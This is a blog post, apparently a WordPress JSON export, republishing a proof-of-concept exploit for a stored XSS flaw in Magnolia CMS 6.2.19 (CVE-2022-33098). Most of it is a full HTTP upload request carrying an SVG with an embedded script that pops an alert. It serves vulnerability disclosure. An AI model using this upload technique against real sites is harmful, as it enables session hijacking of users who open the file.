# Exploit Title: Magnolia CMS <= 6.2.19 – Stored Cross-Site Scripting (XSS)
\n# Date: 08\/05\/2022
\n# Exploit Author: Giulio Garzia ‘Ozozuz’
\n# Vendor Homepage: https:\/\/www.magnolia-cms.com\/
\n# Software Link: https:\/\/nexus.magnolia-cms.com\/service\/local\/repositories\/magnolia.public.releases\/content\/info\/magnolia\/bundle\/magnolia-community-demo-webapp\/6.2.19\/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
\n# Version: 6.2.19
\n# Tested on: Linux, Windows, Docker
\n# CVE : CVE-2022-33098<\/p>\n
Explanation
\nMalicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.<\/p>\n
===== REQUEST =====
\nPOST \/magnoliaAuthor\/.magnolia\/admincentral\/APP\/UPLOAD\/0\/140\/action\/cba61868-b27a-4d50-983d-adf48b992be1 HTTP\/1.1
\nHost: 127.0.0.1:8080
\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) Gecko\/20100101 Firefox\/91.0
\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8
\nAccept-Language: en-US,en;q=0.5
\nAccept-Encoding: gzip, deflate
\nContent-Type: multipart\/form-data; boundary=—————————399178799522967017241464837908
\nContent-Length: 620
\nConnection: close
\nCookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
\nUpgrade-Insecure-Requests: 1
\nSec-Fetch-Dest: iframe
\nSec-Fetch-Mode: navigate
\nSec-Fetch-Site: same-origin<\/p>\n
—————————–399178799522967017241464837908
\nContent-Disposition: form-data; name=”140_file”; filename=”xss.svg”
\nContent-Type: image\/svg+xml<\/p>\n
<?xml version=”1.0″ standalone=”no”?>
\n<!DOCTYPE svg PUBLIC “-\/\/W3C\/\/DTD SVG 1.1\/\/EN” “http:\/\/www.w3.org\/Graphics\/SVG\/1.1\/DTD\/svg11.dtd”><\/p>\n
<svg version=”1.1″ baseProfile=”full” xmlns=”http:\/\/www.w3.org\/2000\/svg”>
\n<polygon id=”triangle” points=”0,0 0,50 50,0″ fill=”#009900″ stroke=”#004400″\/>
\n<script type=”text\/javascript”>
\nalert(‘POC – Magnolia CMS’);
\n<\/script>
\n<\/svg><\/p>\n
—————————–399178799522967017241464837908–<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Magnolia CMS <= 6.2.19 – Stored Cross-Site Scripting (XSS) # Date: 08\/05\/2022 # Exploit Author: Giulio Garzia ‘Ozozuz’ # Vendor Homepage: https:\/\/www.magnolia-cms.com\/ # Software Link: https:\/\/nexus.magnolia-cms.com\/service\/local\/repositories\/magnolia.public.releases\/content\/info\/magnolia\/bundle\/magnolia-community-demo-webapp\/6.2.19\/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip # Version: 6.2.19 # Tested on: Linux, Windows, Docker # CVE : CVE-2022-33098 Explanation Malicious user with the permissions to upload profile picture for a contact, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26572","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26572","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26572"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26572\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26572"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26572"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26572"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}